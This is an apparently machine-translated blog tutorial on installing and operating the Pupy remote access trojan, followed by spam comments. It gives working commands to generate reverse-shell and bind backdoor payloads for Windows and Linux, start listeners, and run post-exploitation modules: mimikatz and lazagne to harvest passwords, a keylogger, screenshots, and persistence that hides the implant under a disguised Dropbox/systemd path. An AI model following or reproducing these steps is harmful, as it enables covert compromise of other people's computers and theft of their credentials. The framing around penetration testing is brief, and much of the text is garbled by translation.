Puppy Rat is an open source tool for cross-platform remote administration (Windows, Linux, OSX, Android are supported as “clients”) and subsequent exploits (after exploits). Mostly written in Python.
Simply put, this program, which can create backdoors for various systems, can perform actions to connect to remote systems, perform exploits to collect data, download and upload files, and access privileges. Enhance, screen capture, capture keystrokes, etc., as well as other similar tools, are also perfectly suited for legitimate remote administration of systems.
- Potential Pupy Uses:
- Safety studies
- Education
- Penetration Testing
- System administration
- Privacy projects focused on python, requiring minimal interaction with persistent storage (so as not to leave traces on the hard disk)
- And other…
This is one of several articles about Pupy rat in which the installation is described step by step. The following articles will discuss the principles of the program, basic concepts, practical examples of use.
How to install Pupy rat in Kali Linux
The author of the program offers two installation options: directly to the system and using Docker.
This program has a bug (about it will be slightly lower) due to incompatibility with the latest version of one of the Python modules. This bug leads to the fact that Pupy rat, in fact, does not work in listening mode (it cannot accept connections). When using Docker, errors are not displayed on the screen and it is difficult to understand what the problem is. But much worse is that it is not clear how to fix the problem with the library in this container.
Therefore, I will consider two options for installation directly into the system and using Docker but I recommend using the installation option directly into the system.
Installing Pupy on Kali Linux without Docker
Run the following commands:
sudo apt install git libssl1.0-dev libffi-dev python-dev python-pip build-essential swig tcpdump python-virtualenv git clone --recursive https: //github .com /n1nj4sec/pupy cd pupy python create-workspace.py -DG pupyw |
Roll fix to fix the error:
sudo pip2 install rpyc==3.4.4 |
For start:
export PATH=$PATH:~/. local /bin ; pupysh pupyws /bin/pupysh |
Installing Pupy on Kali Linux using Docker
To install and run Docker, run the following commands:
git clone https: //github .com /alxchk/pupy cd pupy |
Open the install.sh file and replace the line there:
if [ "$EUID" == 0 ] |
to
if [ "$EUID" == 100500 ] |
Then run the commands:
. /install .sh sudo pip uninstall backports.ssl-match- hostname sudo apt-get install python-backports.ssl-match- hostname |
To run the program:
. /start-compose .sh |
how to install Pupy on BlackArch
Installation in BlackArch is as follows:
sudo pacman -S pupy |
To fix the bug, you need to remove the new version of one of the Python packages, so that the system does not remove Pupy rat itself, for which this file is a mandatory dependency:
sudo pacman -Rdd python2-rpyc |
And install a version that does not cause problems:
sudo pip2 install rpyc==3.4.4 |
True, the files generated in BlackArch I refuse to connect to the monitoring computer …
Solving the problem with the “Cannot read wireshark manuf database” error When you run Pupy rat, see if the line is there:
Cannot read wireshark manuf database |
If present, then there is a serious error. Details about this bug here: https://github.com/n1nj4sec/pupy/issues/622
The problem is that when the Victim’s computer tries to connect to the Attacker’s computer, the following error appears:
Exception AttributeError: AttributeError( "'PupyConnection' object has no attribute '_closed'" ,) in <object failed= "" repr= "" > ignored Exception in thread Authentication Thread (192.168.1.117:49824): Traceback (most recent call last): File "/usr/lib/python2.7/threading.py" , line 801, in __bootstrap_inner self.run() File "/usr/lib/python2.7/threading.py" , line 754, in run self.__target(*self.__args, **self.__kwargs) File "/usr/share/pupy/network/lib/servers.py" , line 135, in _setup_connection config=config File "/usr/share/pupy/network/lib/connection.py" , line 269, in __init__ Connection.__init__(self, *args, **kwargs) TypeError: __init__() got an unexpected keyword argument '_lazy' Exception AttributeError: AttributeError( "'PupyConnection' object has no attribute '_closed'" ,) in <object failed= "" repr= "" > ignored < /object >< /object > |
That is, the listening mode for the reverse shell in Pupy does not actually work.
The problem is solved by lowering the version of the rpyc package to 3.4.4 :
sudo pip2 install rpyc==3.4.4 |
How to use pupy rat
how to create a backdoor with Pupy rat
To generate a working payload, we need a clear understanding of how and what works, and before starting work you need to understand terms like:
- transports
- launchers
- listeners
- payloads
Transport
Transport is how (using what protocols and technologies) the server and the client transfer information between themselves.
The following options are available:
- ssl (used by default): TCP transport wrapped in SSL.
- rsa : Authentication and encryption using RSA and AES256, often combined with other protocols.
- ssl_rsa : Like ssl , but embedded in the rsa layer.
- websocket :
- aes : Uses static key AES256.
- http : Makes traffic look like regular HTTP + is embedded in the rsa layer .
- obfs3 : A protocol that prevents third parties from determining which protocol is being used based on the content of the messages. For greater security, Obfs3 is embedded in the rsa layer .
- scramblesuit : A polymorphic network protocol for circumventing censorship. Scramblesuit is folded with an RSA layer for better security.
- udp : Rsa layer but via UDP (may be unstable, does not solve problems with packets lost during transmission).
- others : Layers are of little interest and are given as code examples: (dummy, base64, XOR, …).
All transports can be wrappers for each other (stackable).
This means that by creating a custom transport configuration (pupy/network/transport/<transport_name>/conf.py), you can make your pupy rat session look anything you want. For example, you can add HTTP via HTTP via base64 via HTTP via AES via obfs3.
Launchers
Launchers allow pupy to run custom actions before launching a reverse connection.
- connect : A connection is being made from the remote computer to the attacker.
- bind : The remote computer starts listening on the port while waiting for a connection to it.
- auto_proxy : Get a list of possible SOCKS / HTTP proxies and try each one of them. Proxy extraction methods: registry, WPAD requests, gnome settings, variable env HTTP_PROXY
- dnscnc : DNS exfiltration
Launcher connect is commonly called the Reverse Shell. And bind is what is usually called simply Shell.
Listeners
Listeners (listeners) – are used with connect connect , that is, with Reverse Shell, when you need to wait for a connection from a remote computer.
If bind is selected as the launcher , then we do not need a listener on our computer – we just need to connect to the remote system right away.
Listeners should get two parameters at startup:
- port to which sub-wiring will be made
- transport that uses payload
By default, the launcher tries to listen on port 443 using the ssl transport . This configuration can be changed in the pupy.conf file . How to add your own listeners will be described below.
Payload format
Pupy can create files for various operating systems: Windows, Linux, OSX, Android. Various processor architectures are supported (64-bit and 32-bit). When creating a payload, you need to specify this data in the parameters. This primarily refers to executable files — that is, for executable files, you need to specify, for example, that the backdoor should be running in the Windows operating system with a 64-bit processor architecture.
Pupy is able to create not only executable files, but also other formats, namely:
- client : executable files to run on the target machine (.exe, .dll, .lin, .so).
- py : python file.
- pyinst : python file ready for use with pyinstaller.
- py_oneliner : python oneliner (that is, executable code on one line) (starts the listening server in the background)
- ps1 : powershell file.
- ps1_oneliner : powershell oneliner (starts the listening server in the background).
- rubber_ducky : useful with rubber ducky.
The payload can be generated in two ways: using a separate pupygen.py file , or by running Pupy and using the command in the console
gen |
You can choose any option – these methods have identical launch options. I will show you the example of working in the Pupy session, so I start by running this program.
Run Pupy
Starting a Pupy session varies depending on the installation method. When installed directly into the system, the session starts like this:
export PATH=$PATH:~/. local /bin ; pupysh |
When you first start generating keys and certificates that are used in the program to encrypt connections to remote systems:
They are saved to the /root/.config/pupy/crypto/credentials.py file . Gen options
As mentioned above, gen (and pupygen.py ) are used to generate the payload and they have the same options. Consider them.
Using:
gen [-h] [-f {client,py,pyinst,py_oneliner,ps1,ps1_oneliner,rubber_ducky,csharp,.NET,.NET_oneliner}] [-O {android,windows,linux,solaris}] [-A {x86,x64}] [-U] [-P PACKER] [-S] [-o OUTPUT] [-d < ATTEMPTS > < MIN SEC > < MAX SEC >] [-D OUTPUT_DIR] [-s SCRIPTLET] [-l] [-E] [--no-use-proxy] [--oneliner-nothidden] [--debug-scriptlets] [--debug] [--workdir WORKDIR] [{bind,auto_proxy,dnscnc,connect}] ... |
Options:
positional arguments: {bind, auto_proxy, dnscnc, connect} Choice launcher. Loncher do payload which , when started, behaves differently. launcher_args launcher options optional arguments: -h, --help show help and exit -f {client, py, pyinst, py_oneliner, ps1, ps1_oneliner, rubber_ducky, csharp, .NET, .NET_oneliner}, -- format {client, py, pyinst, py_oneliner, ps1, ps1_oneliner, rubber_ducky, csharp. NET_oneliner} (default: client) -O {android, windows, linux, solaris}, --os {android, windows, linux, solaris} Target OS (default: windows) -A {x86, x64}, --arch {x86, x64} Target architecture (default: x86) -U, --uncompressed Use uncompressed pattern -P PACKER, --packer PACKER Use packer when output format is 'client' (default:) -S, --shared Create a shared (shared) object -o OUTPUT, --output OUTPUT output file name -d , --delays-list Format: -D OUTPUT_DIR, --output- dir OUTPUT_DIR output folder (default: /root/ .config /pupy/output ) -s SCRIPTLET, --scriptlet SCRIPTLET offline python scripts to run before launch connections. You can specify multiple scriptlets. -l, --list list available formats, transporters, scriptlets and options -E, --prefer-external In the case of auto-detect, prefer external IP --no-use-proxy Do not use the proxy target configuration, even if it is used by the target ( for now only for ps1_oneliner) --oneliner-nothidden Powershell script is not hidden by the target side (default: False) --debug-scriptlets do not catch exceptions in scriptlets on the client for debugging purposes --debug to build with a debug pattern (payload opens console) --workdir WORKDIR Set working folder (Default = current working folder) |
As you can see, some values are set by default. If you run the command
gen |
without any options, the payload will be generated, it will take the following values as default values:
- payload format: client
- launcher: connect (i.e. reverse shell to our machine)
- as the IP address is taken automatically determined by our address
- port for connection: 443
- platform: windows / x86
- Transportation: ssl
But we, of course, can reconfigure all these options with our parameters.
All options are discussed above, so it makes no sense to explain the commands in detail – if you find something incomprehensible to them, then return to their description.
Let’s start by creating a reverse shell – in this case, the remote computer (“Victim”) is connected to the “Attacker” computer. Therefore, when creating a payload, you need to specify the IP address to which the Victim should connect. For example, the IP addresses of their interfaces can be viewed with the command
ip a |
I will do tests on the local network, the Attacker’s computer has a local address of 192.168.1.112 – so I will use it, and you will replace it with your value. To create a reverse shell for the 64-bit Windows platform that will connect to port 43210 at the IP address 192.168.1.112 using the http transport :
gen -f client -O windows -A x64 connect --host 192.168.1.112:43210 -t http |
All is ready:
File successfully created and saved by the path /root/.config/pupy/output/pupyx64.KrN0Qe.exe
Rename and copy it to a closer path:
! cp /root/ .config /pupy/output/pupyx64 .KrN0Qe.exe /root/reverse .exe |
Since a connection to our computer will be made from a remote computer, before running the newly created file on the target system, we need to create a listener that will wait to connect to it.
By the way, when you start Pupy rat, one listener starts automatically, say this line:
[*] Listen: ssl: 443 |
That it, there is a listener for ssl transport on port 443 .
New listeners are created, deleted and shown with the listen command .
how to Create pupy rat listeners
Using:
listen [-h] [-l | -L | -a TRANSPORT [TRANSPORT_ARG1 ...] | -A TRANSPORT [TRANSPORT_ARG1 ...] | -r TRANSPORT] |
Optional arguments:
-h, --help show help and exit -l, --list show listeners -L, --list-transports show available transports -a TRANSPORT [TRANSPORT_ARG1 ...], --add TRANSPORT [TRANSPORT_ARG1 ...] run the listener -A TRANSPORT [TRANSPORT_ARG1 ...], --add-no-pproxy TRANSPORT [TRANSPORT_ARG1 ...] start the listener (ignoring proxy) -r TRANSPORT, --remove TRANSPORT stop listener |
Since for my payload I chose the http transport , and indicated 43210 as the port , the listener in my case starts like this:
listen -a http 43210 |
The general view of the command is:
listen -a TRANSPORT PORT |
Line
[+] Listen: http: 43210 |
Says that everything went well.
Let’s list all listeners:
listen -l |
Everything is ready – now I transfer the file with the payload to the target system and run it there.
A few seconds after the launch, the attacker’s computer will be connected to and the following information will appear:
[*] Session 1 opened (Alex@DESKTOP-IGFN39T) (( '192.168.1.112' , 43210) <- 192.168.1.101:49751= "" code= "" > |
We will move on to managing sessions, executing commands on a remote machine, and operating in the next section. In the meantime, consider a few more popular examples of payload generation.
Pupy rat Backdoor for Windows
To create a shell that will open port 54321 for 64-bit Windows and wait for a connection from the remote computer via the http transport, run the following command:
gen -f client -O windows -A x64 bind --port 54321 -t http |
In this case, we do not specify an IP address, since this payload is not connected anywhere. But we specify the port – this port will be opened on the computer of the Victim, waiting for the Attacker to connect.
Backdoor connection To connect, use the connect command . Consider her options.
Using:
connect [-h] -c </ font> [-t {obfs3, http, ssl, ecm, tcp_cleartext, dfws, rsa, udp_secure, kc4, ec4, ws, scramblesuit, udp_cleartext, ssl_rsa}] |
Connect options
positional arguments: </ font> transport_args Transport Arguments: key = value key = value ... </ font> </ font> optional arguments: </ font> -h, --help show help and exit </ font> -c , --host </ font> host: the port of the pupy server to connect to. You can </ font> specify several arguments --host arguments for trying </ font> connections to multiple IPs </ font> -t {obfs3, http, ssl, ecm, tcp_cleartext, dfws, rsa, udp_secure, kc4, ec4, ws, scramblesuit, udp_cleartext, ssl_rsa}, --transport {obfs3, http, ssl, ecm, tccrs, http, ssl, ssl_rsa} udp_secure, kc4, ec4, ws, scramblesuit, udp_cleartext, ssl_rsa} </ font> Used transport |
As you can see, be sure to specify the IP and port connections. Transportation can be omitted.
By the way, in Windows, the IP address can be found with the command
ipconfig /all |
To connect to port 54321 of the host 192.168.1.101:
connect -c 192.168.1.101:54321 |
Pupy Linux backdoor
For Linux, you can also create a reverse shell and a regular shell.
To create a reverse shell:
gen -f client -O linux -A x64 connect --host 192.168.1.112:44445 -t http |
The listener runs exactly as shown above
listen -a http 44445 |
To create a backdoor that will wait for a connection from us:
gen -f client -O linux -A x64 bind --port 44446 -t http |
To connect to it:
connect -c localhost:44446 |
How to remotely manage computers through backdoor
Work with connected sessionsThe sessions command performs tasks related to session management:
- display a list of connected remote computers
- selecting a session to send a command to a computer
- disconnect from one or all computers at once
Using:
sessions [-h] [-i ] [-g] [-k] [-K] [-d] [-D] |
Optional arguments:
-h, --help -i , --interact change default value --filter for other commands -g, --global-reset reset --interact to standard global behavior -k Kill selected session -K kill all sessions -d Reset connection (abruptly close the socket) -D Reset all connections |
By default, all the commands that you enter to run on remote systems (launching modules) pupy rat executes immediately on all connected clients. Thanks to this, you can, for example, run mimikatz on all connected clients with one command and collect passwords everywhere at once.
To display the list of sessions run the command:
sessions |
Pupy rat commands to run on a remote computer
In fact, this is not called commands, but modules, because, in fact, on remote computers you can execute any commands that support these systems.
As for the modules, they contain some frequently used commands, as well as combined actions, including using third-party tools (for example, to extract all passwords).
To run the command, you need to use the row that is in the ” Name ” column .For example, to display a list of disks on all systems, run the command:
drives |
To get help on a module, enter its name with the -h option. For example, I want to learn help for the persistence module (enabling and disabling pinning):
persistence -h |
Using:
persistence [-h] [-s] [-p USEFUL LOAD] [-n NAME] [-m METHOD] [-l] [--remove] |
Optional arguments:
-h, --help show help and exit -s, --shared to prefer shared objects (linux only) -p PAYLOAD remote path or command to execute on login (windows only) -n NAME specify a name to use (windows only) -m METHOD must be an ID to get a list of available methods. run with option (-l) (windows only) -l list all possible techniques for this host (windows only) --remove remove pin |
An example of creating a backdoor on a remote system that will start when the computer starts:
------------------------------------------------------------------------------------------------------------------------------------------- >> PupyClient( id =2, user=mial, hostname =HackWare, platform=Linux) << ------------------------------------------------------------------------------------------------------------------------------------------- { Configuration } KEY VALUE -------------------------------------------------- launcher connect launcher_args --host 192.168.1.53:43210 -t http cid 3263277090 [+] Required credentials (found) + SSL_BIND_CERT + SIMPLE_RSA_PRIV_KEY + SIMPLE_RSA_PUB_KEY [+] Generating the payload with the current config from pupyx64.lin - size=3713536 [+] Dropped: /home/mial/ .dropbox-dist /dropboxc Method: Systemd Config: /home/mial/ .config /systemd/user/dbus .service.d /hgzenu .conf |
This entry means that the configuration file for autorun is saved along the path /home/mial/.config/systemd/user/dbus.service.d/hgzenu.conf , and the executable itself is stored in /home/mial/.dropbox-dist/ dropboxc
Some more examples.
To view information about network connections on remote systems:
netstat |
To retrieve all passwords:
lazagne |
Or:
mimikatz |
Keystroke Invader:
keylogger |
Getting information about systems:
get_info |
To get screenshots of desktops of remote computers:
screenshot |
Execution of commands only on certain remote systems
You can switch between sessions, for example, to switch to the first session so that the commands entered are executed only on it:
sessions -i 1 |
It is not necessary to specify the session number – various filters are supported, thanks to which you can select one or several systems at once. For example, to interact only with all Windows 7:
sessions -i 'platform:Windows release:7' |
Filtering by various parameters is supported, you can see them all by running the command:
get_info |
Use autocompletion! When entering commands, press the TAB key to complete the names of commands and options. Screen your arguments
Each command in the pupy shell uses unix-like escape syntax. If you need a space in one of your arguments, you need to put your argument between the quotes:
shell_exec 'tasklist /V' |
If you send the path to Windows, you need to escape the backslash with one more – the second backslash, or put everything in quotes:
download 'C:\Windows\System32\cmd.exe' |
Or:
download C:\\Windows\\System32\\cmd.exe |
Create nicknames To improve performance, you can specify module aliases in the pupy.conf file . If you define an alias as follows:
shell=interactive_shell |
then start the team
shell |
will be equivalent to running the command:
interactive_shell |
An example of creating a pseudonym for adding a command to kill a client process pupy rat with signal 9:
killme = pyexec -c 'import os;os.kill(os.getpid(),9)' |
Works Jobs are teams running in the background. Some modules, such as socks5proxy or portfwd , automatically start work, but all modules can be started as work if you use the –bg argument :
run -- bg shell_exec 'tasklist /V' [%] job < shell_exec [ 'tasklist /V' ] > started in background ! |
Using:
jobs [-h] [-k | -K ] [-l] [-p ] |
Optional arguments:
-h, --help show help and exit -k , -- kill close the job, but before that show its current output -K , -- kill -no-output close work without showing output -l, --list list of jobs -p , --print-output print job output |
The –bg switch is usually used when you want to execute a long command / module and you want the shell to remain functional during its operation.
The output of the work can be obtained at any time using the command
jobs -p |
The jobs command can also display a list of jobs and complete jobs.
Normal jobs can be installed in your Linux / Unix desktop environment by running your pupysh.py script inside the Screen utility. You can then configure cronjobs to run the command at any intervals you require. Replace 1674 with your screen session ID. The echo command in this example essentially emulates pressing the Enter key:
screen -S 1674 -X stuff 'this is an example command' $( echo - ne '\015' ) |
Run command
This command is needed to run modules, but you can skip it if you are not going to use additional features, such as executing a command in the background, saving results to a file and / or only for certain clients.
Using:
run [-h] [-1] [-o OUTPUT] [-f ] [-b] ... |
Options:
positional arguments: module module arguments optional arguments: -h, --help show help and exit -1, --once Unload new depot after use -o OUTPUT, --output OUTPUT save the command output to a file .% t is a timestamp,% h is a host, % m - MAC address,% c - short client name,% M - module name,% p - platform,% u - user,% a - IP address -f , --filter perform on clients matching the filter. Everything fields that can be filtered can be seen in the module "info" . For example: run get_info -f 'platform: win release: 7 os_arch: 64' -b, --background run in background |
nice post
Wow, incredible blog structure! How lengthy have you ever been blogging for? you make running a blog look easy. The overall look of your web site is magnificent, let alone the content!!
I enjoy you because of your whole effort on this blog. My niece enjoys going through internet research and it is easy to see why. A number of us know all of the powerful way you deliver worthwhile ideas through your web site and therefore foster response from some other people on that subject then our own daughter is always being taught a whole lot. Have fun with the remaining portion of the new year. You’re the one performing a tremendous job. blog
I always use url shortener
It is very helpful.
This is a topic that is close to my heart… Many thanks!
Where are your contact details though?